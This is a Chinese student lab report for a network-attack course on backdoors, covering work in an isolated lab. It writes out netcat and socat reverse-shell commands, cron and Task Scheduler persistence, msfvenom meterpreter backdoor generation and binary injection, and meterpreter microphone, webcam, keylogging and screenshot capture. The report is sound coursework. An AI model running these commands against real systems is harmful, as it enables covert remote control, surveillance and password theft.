2019-2020-2 20175335 丹增罗布《网络对抗技术》Exp2 后门原理与实践
2019-2020-2 20175335 丹增罗布《网络对抗技术》Exp2 后门原理与实践
实践前预备知识
一.(1)后门
广义概念
广义概念上的后门,就是不经过正常认证流程而访问系统的通道。
可能存在于以下位置:
- 编译器留后门
- 操作系统留后门
- 应用程序中留后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序。
狭义概念
狭义概念上的后门满足以下几个特点:
- 特指潜伏于操作系统中专门做后门的一个程序
- 恶意攻击者可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
(2).常用后门工具
2.1 NC或netcat
ncat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
linux、mac。。。自带nc。
windows可以通过码云(https://gitee.com/wildlinux/NetSec/attach_files)下载中的“ncat.rar”解压使用。
查看使用说明:“man nc”
连接到某处: nc [-options] hostname port[s] [ports]
绑定端口等待连接: nc -l port [-options] [hostname] [port]
(3)、基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 在非官网下载应用程序时,可能会捆绑一些其他软件,以此在系统中留后门。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Win:设置开机自启动项、修改注册表
- Linux:通过本实验的
crontab
将其设置为定时启动;对正常软件注入shellcode
- Meterpreter有哪些给你映像深刻的功能?
- 在主机植入后门后,可以直接控制主机的shell,甚至录音、录像等,通过键盘输入记录,可以轻松获取口令密码等信息
- 如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,定时对系统进行检测
- 打开防火墙,查看是否有异常端口
常用后门工具实践
任务一:Windows获得Linux Shell
1、 Windows:使用ipconfig
指令查看本机IP:172.16.135.135
2.使用ncat.exe程序监听本机的5335
端口。
3、 在Kali环境下,使用nc
指令的-e
选项反向连接Windows主机的5335
端口。
4、 成功获得Kali的shell,如下图所示:
任务二:Linux获得Windows Shell
1、 在Kali环境中使用ifconfig
查看IP:
2、 使用nc
指令监听5335端口。
3、 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5335端口。
4、 Kali下可以看到Windows的命令提示,可以输入Windows命令。
任务三:使用netcat获取主机操作Shell,cron启动
1、 在Windows系统下,监听5335
端口。
2、 在Kali环境下,用crontab -e
指令编辑一条定时任务
crontab
指令增加一条定时任务-e
表示编辑- 选择编辑器时选择3
3、 在最后一行添加15 * * * * /bin/netcat 172.16.135.135 5335 -e /bin/sh
意思是,每个小时的第3分钟反向连接Windows主机的5335端口。
4、 当时间到了12点3时,此时已经获得了Kali的shell,可以输入指令/
任务二:使用socat获取主机操作Shell, 任务计划启动。
1、 预备知识:
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
2、 Win+R
输入compmgmt.msc
打开“计算机管理”。
3、 在“任务计划程序”中“创建任务”。
4、 填写任务名称,并新建一个触发器。
5、 在操作->新建->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5335 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5335
,同时把cmd.exe
的stderr
重定向到stdout
上:
6、 创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行。
7、 此时,在Kali环境下输入指令socat - tcp:172.16.135.135:5335
- 这里的第一个参数
-
代表标准的输入输出 - 第二个流连接到Windows主机的
5335
端口 - 此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
1、 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.135。149 LPORT=5335 -f exe > 20175335_backdoor.exe
- IP地址为控制端IP,即Linux的IP
- 生成了后门程序:
20175335_backdoor.exe
2、 通过ncat.exe -lv 5335 > 20175335_backdoor.exe
指令将被控制主机进入接受文件模式。
3、 在Linux中执行nc 192.168.62.1 5335 < 20175335_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP。
4、 传送接收文件成功。
5、 在Kali上使用msfconsole
指令进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload。 set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload。set LHOST 172.16.135.149
,这里用的是LinuxIP,和生成后门程序时指定的IP相同。set LPORT 5335
,同样要使用相同的端口。- show options
6、 设置完成后,执行监听。
7、 运行Windows下的后门程序。
8、 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容。
1、 使用record_mic
指令可以截获一段音频。
2. 使用webcam_snap
指令可以使用摄像头进行拍照。
效果如下:
3、 使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录。
4、 使用screenshot
指令可以进行截屏。
效果如下::
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1、 在实验指导书中:
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
2、 在参数说明中提到,-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp
就是一段shellcode。实验一的pwn1在linux下运行,因此代码改为
msfvenom -p linux/meterpreter/reverse_tcp····
3、 -x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中,因此将该文件修改为pwn1
,因此代码变成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1···
4、 修改LHOST、LPORT
为Kali的ip地址和端口,因此代码变成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205···
5、 -f
生成文件的类型,使用file pwn1
得知pwn1的文件类型是elf
,因此代码调整为
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205 -f elf···
6、 >
输出到哪个文件,将最后生成的文件改为pwn5,代码调整为
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205 -f elf > pwn5
7、 报错Error: invalid payload: linux/meterpreter/reverse_tcp
,通过查询资料得知应为msfvenom -p linux/x86.meterpreter···
8、 好不容易改了一个错误,又发现了一个编码问题,Error: incompatible character encodings: UTF-8 and ASCII-8BIT
,然后我将代码涉及到编码的参数-i -b
都删掉,变为如下形式就不报错了
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.62.15 LPORT=4444 -x pwn1 -f elf > pwn
9、 任务三进行监听,然后运行pwn5。
实验中遇到的问题及解决方法:
在windows后门文件夹中运行后门程序时出现无法在电脑运行?
解决方法:
在虚拟机在重新安装win7系统!(mac)
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell时出现问题?
解决方法:另外开一个终端 重新运行!
关闭防火墙🧱后很时运行不了?
解决方法:关闭了防火情但未必关掉了实施防护!(Windows Defender)建议:https://zhidao.baidu.com/question/2207351643256188588.html
在使用nc工具使Win获得Linux Shell权限时,Windows命令行输入不了字符?
解决方法:我遇到的问题时ip地址选择有误。我kali的网络是桥接模式,之前反向连接时一直输入的以太网适配器的ip地址,导致无法成功。最后尝试无线局域网的ip地址竟然成功了,和一些同学的不太相同。看来虚拟机与主机的连接情况也值得研究一下。
实验总结与体会:
此次的实验出现问题较多,经过很多查询、问同学、搜索等等一一解决,知道了了后门程序的危险性,通过自己动手制作和使用后门程序,我了解了很多关于后门的知识,也许在不知事情情况下攻击者可以获取各种信息和隐私。这次实验真实的感受到自己有可能被攻击被监视,做实验关闭防火墙,关闭实时防护后,电脑还是会检测是否有不安全因素存在,有危险就发出警告,发现除了做实验用的后门被检测出来外。在以后能保护好还是尽量保护好。进过了此次实践,对网络安全问题有了更加深刻地认识,在以后的学习生活中会慢慢注意网络安全问题的。